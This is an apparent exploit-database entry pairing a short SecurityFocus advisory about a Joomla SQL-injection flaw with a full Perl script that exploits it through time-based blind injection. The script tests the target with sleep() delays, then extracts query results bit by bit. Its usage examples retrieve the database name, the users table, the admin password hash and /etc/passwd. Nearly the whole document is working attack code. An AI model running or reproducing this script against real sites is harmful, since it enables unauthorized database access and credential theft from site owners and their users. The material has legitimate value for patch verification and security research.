source: http://www.securityfocus.com/bid/52312/info

Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
# 
# using sleep() and not benchmark(), change for < mysql 5.0.12 
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result) 
#   select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
#   select password from zzzz_users limit 1



use strict;
use LWP::UserAgent;
$| = 1;


my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];

unless ($ARGV[2]) {
 print "$0 <url> <wait time> <sql>\n";
 print "\texamples:\n";
 print "\t get admin password:\n";
 print "\t\t$0 http://host/joomla/ 3 'database()'\n";
 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
 print "\t get file /etc/passwd\n";
 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
 exit 1;
}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;

my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";

my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }


my $lenoflen;
sub len {
 # length of length
 for (1..5) { 
  my $sql=$_[0];
  $stime = time();
  $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
  $etime = time();
  my $rtt = $etime - $stime;
  if ($rtt >= $regrtt + $wtime) {
    $lenoflen = $_;
    last;
  }
 }
 for (1..$lenoflen) {
  my $ll;
  $ll=$_;
  for (0..9) {
  my $sql=$_[0];
  $stime = time();
  $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
  $etime = time();
  my $rtt = $etime - $stime;
  if ($rtt >= $regrtt + $wtime) {
    $len .= $_;
  }
  }
 }
  return $len;

}

sub data {
 my $sql = $_[0];
 my $len = $_[1];
 my ($bit, $str, @byte);
 my $high = 128;

 for (1..$len) {
   my $c=8;
   @byte="";
  my $a=$_;
  for ($bit=1;$bit<=$high;$bit*=2) {
    $stime = time();
    # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
    $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
      $byte[$c]="0";
    } else { $byte[$c]="1"; }
  $c--;
  }
     $str = join("",@byte);
  print pack("B*","$str");
  } 
}

$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);